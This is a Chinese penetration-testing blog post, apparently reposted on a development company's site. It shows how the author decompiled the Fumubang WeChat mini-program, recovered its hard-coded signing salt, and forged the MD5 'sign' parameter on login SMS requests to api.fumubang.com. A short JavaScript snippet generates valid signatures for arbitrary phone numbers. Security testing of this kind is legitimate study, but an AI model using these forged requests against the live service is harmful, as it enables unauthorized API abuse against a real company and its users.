;

小程序绕过 sign 签名

2024-03-25 阅读:208
;
您当前位置:首页 | 新闻列表 | 新闻详情

之前看到了一篇文章【小程序绕过sign签名思路】之前在做小程序渗透时也遇到了这种情况,但是直接放弃测试了,发现这种思路后,又遇到了这种情况,记录下过程。

并没有漏洞分享,仅仅是把微信小程序也分享出来,方便大家测试学习。

小程序 父母邦亲子旅行酒店营地乐园活动。

在登录时验证码登录的数据包

		
		
		
bash
复制代码
POST /wxapp/login/send_messages?format=json HTTP/1.1Host: api.fumubang.comContent-Length: 118Xweb_xhr: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090819) XWEB/8555Content-Type: application/jsonAccept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://servicewechat.com/wxef0aac3d44dcda51/214/page-frame.htmlAccept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9Connection: close{"phone_num":"XXXXXXXX","version":"3.3.9","scene":1053,"appid":648481988,"sign":"85a840e3674201f2606b8b65f914b912"}

image

我们直接修改手机号,重放数据包。

image

提示签名失败。

打开对应的路径C:\Users\1\Documents\WeChat Files\Applet

image

将目录下所有文件全部删除 并重新打开小程序,此时生成的唯一文件夹,就是对应的该小程序的代码。

image

对小程序进行反编译

image

因为有一些依赖于 wx 所以只能提供思路

image

我们看到 sign 的创建流程

image

所以只需要构造满足i.sign = a.create_sign(i, "d19e4abd1036063faa4218c139378c0e");就好啦。

初期思路是这样子的

image

但是因为存在 wx 的依赖,无法运行成功,但是加密是在本地处理的,这样构造应该是不对的。

帮助网安学习,全套资料S信领取:

① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

柳暗花明

我们加入调试

image

发现第一个请求的数据包 /wxapp/index/get_kefu_phone 不需要登录就可以访问到这个界面,同时界面里也有 sign 参数。

利用微信开发者工具进行模拟操作。

加入断点

image

继续步入

image

可以添加字段 查看对应的值。

继续步入

image

该函数首先创建一个空数组e,然后通过Object.keys(r).sort()获取对象r的所有键,并进行排序。遍历排序后的键数组,判断键值是否符合特定条件,并将满足条件的键值对拼接成字符串并存入数组e中。 最后得到的值是:

scene=1001&version=5.0.6d19e4abd1036063faa4218c139378c0e

image

返回值为 64d78d749828368851331593fa1e1ceb

image

image

就是对应字符串生成的 md5 的值。

我们修改一下数据包

image

发送成功。

修改手机号的数据包

image

image

将手机号修改后 提示签名失败。

		
		
		
ini
复制代码
phone_num=1xxxxxxxxx9&scene=1053&version=3.3.9d19e4abd1036063faa4218c139378c0ea90b19243e471d648d8eb5022d48066cphone_num=1xxxxxxxxx2&scene=1053&version=3.3.9d19e4abd1036063faa4218c139378c0e85a840e3674201f2606b8b65f914b912

image

所以我们把代码稍微修改一下

		
		
		
javascript
复制代码
"use strict";var a = require("./md5.js");var i = {"phone_num":"1xxxxxxxxxx2","version":"3.3.9","scene":1053,"appid":648481988}i.sign = a.create_sign(i, "d19e4abd1036063faa4218c139378c0e");console.log(i);

image

成功破解了 sign 签名,可以发送任意数据包。


作者:合天网安实验室
链接:https://juejin.cn/post/7348204639618596916
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
上一篇:想要定制开发小程序该四个步骤告诉你怎么办呢? 下一篇:在上海开发一个小程序主要的费用有那些,要多少钱

推荐信息

更多+

    联系我们

  • 电话 :134-8274-2882
  • QQ:1059681242
  • 邮箱:haoljq@163.com
  • 地址:上海市松江区米易路166号交科医疗健康产业园(2楼)

在线预约

  • 您的姓名
  • 联系电话

友情链接:

小程序开发 小程序定制开发 小程序商店 微信小程序开发文档 分销商城小程序 电商小程序开发 百家号 商城小程序 微信小程序开发API 小程序定制 生鲜小程序 全平台开发 网站建设 外包开发 自主研发产品

热门地区:

松江开发公司 青浦开发公司 崇明开发公司 杨浦开发公司 宝山开发公司 奉贤开发公司 虹口开发公司 闵行开发公司 长宁开发公司 静安开发公司 黄浦开发公司 嘉定开发公司 徐汇开发公司 金山开发公司 上海开发公司 南昌开发公司 杭州开发公司 上饶开发公司

COPYRIGHT 2009-2016 www.guanzhiweb.com ALL RIGHTS RESERVED

版权所有 上海观智网络科技有限公司

在线
客服

在线客服服务时间:9:00-21:00

选择下列咨讯方式马上在线沟通:

客服
热线

134-8274-2882
小程序定制开发已服务600+

特价
商城

商城小程序助力每个商家获客盈收

来电咨讯获取商城方案,报价功能清单

小程
序码

扫码加微信咨询
顶部